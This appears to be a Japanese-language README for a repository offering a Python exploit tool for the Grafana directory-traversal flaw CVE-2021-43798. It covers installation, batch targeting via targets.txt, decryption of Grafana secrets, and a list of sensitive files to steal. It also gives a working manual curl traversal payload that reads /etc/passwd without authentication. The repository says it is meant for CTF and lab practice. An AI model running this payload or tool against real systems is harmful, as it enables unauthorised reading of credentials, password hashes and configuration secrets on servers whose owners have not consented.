
📂 Grafana LFI Exploit (CVE-2021-43798)。資格情報と設定の自動抽出。🕵️
🚀 Grafana LFI エクスプロイト (CVE-2021-43798)
Grafana(バージョン8.0.0から8.3.0まで)の Local File Inclusion(LFI)脆弱性を悪用するための Python 3 自動化スクリプトです。このエクスプロイトは、ディレクトリトラバーサルを実行して、認証なしで OS の機密ファイルを読み取ることができます。 ✨ 特徴
Python 3.10+ 対応: 最新の Python バージョンで動作するようにパッチ適用済み(collections.Mapping の修正)。
バッチスキャン: targets.txt ファイルを使用して複数のターゲットを処理可能。
データ復号: Grafana のセッションと暗号化データを扱うためのモジュールを含む。
CTF 向けに最適化: クリーンで直接的な出力。HackTheBox や TryHackMe などのラボに最適。
🛠️ 要件とインストール
古いライブラリの依存関係のため、以下のパッケージをインストールすることをお勧めします: Bash
pip3 install PyInquirer termcolor requests pycryptodome --break-system-packages
注: Python 3.10 以降を使用している場合、スクリプトには collections.abc との互換性のための自動パッチが含まれています。
🚀 使用方法
ターゲットの設定: targets.txt ファイルに(ポート番号付きの)URL を追加します。
Bash
echo "http://10.129.234.47:3000" > targets.txt
エクスプロイトを実行:
Bash
python3 exploit.py
🎯 一般的な読み取り対象(LFI)
実行後、以下のような重要なファイルの読み取りを試みることができます:
/etc/passwd(システムユーザー)
/var/lib/grafana/grafana.db(ユーザーハッシュを含むデータベース)
/etc/grafana/grafana.ini(設定とシークレット)
💡 代替方法(手動)
スクリプトを使用しない場合は、curl を使用して LFI を直接悪用できます: Bash
curl --path-as-is "http://<TARGET_IP>:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
⚠️ 免責事項
このリポジトリは、教育目的および管理された環境(CTF、ラボ)での使用のみを目的として作成されています。作者は、このツールの誤用について一切責任を負いません。
🏷️ トピック(タグ)
grafana, cve-2021-43798, lfi, exploit, pentesting, hackthebox, python3, directory-traversal